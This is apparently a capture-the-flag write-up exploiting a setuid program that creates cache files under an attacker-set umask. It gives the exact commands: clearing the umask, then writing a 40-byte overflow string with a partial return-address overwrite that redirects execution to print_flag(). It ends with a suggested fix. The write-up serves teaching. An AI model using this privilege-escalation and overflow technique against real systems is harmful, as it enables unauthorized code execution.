Analysis of the bug =================== The `fopen` function creates files with r/w permissions for everyone, filtered by the process's umask. The umask, however, is inherited by the parent of the process which, for a setuid/setgid program, may be controlled by the attacker. Attack plan =========== The idea is to exploit the bug to obtain a wold-writeable file in `/var/cache/mycmd`; then overwrite the file with a string that would cause a buffer overflow in `get_cookie()`, overwriting the saved rip; then call the program again and let it read the overwritten file. There are no canaries, but ASLR and PIE are active. However, we can hope that overwriting only the least significant byte(s) of the saved rip is sufficient to redirect execution to `print_flag()`. Attack implementation ===================== First, we clear the `umask`: ```sh umask 0 ``` Then we call the program a first time with a cookie that has not been used yet: ```sh ./mycmd a x ``` We can confirm that the `a` file is world-writeable: ```sh ls -l /var/cache/mycmd/a ``` Now we can overwrite it to exploit the lack of boundary checks in `get_cookie`. By examining the disassembly, or by running the program in a debugger, we can find that the buffer in the `cache` object on the stack is 40 bytes above the saved rip. Moreover, the address of `print_flag()` differs from the saved rip` only in the LSB. ```sh export PYTHONIOENCODING=iso-8859-1 python3 -c 'print("A"*40+"\xce@")' > /var/cache/mycmd/a ``` If we run `mycmd` again we obtain the flag: ```sh ./mycmd a x ``` Suggested fix ============= The program should set the umask to something like 0002 or 0022 before calling `fopen()`. As an additional safety measure, boundary checks should always be performed.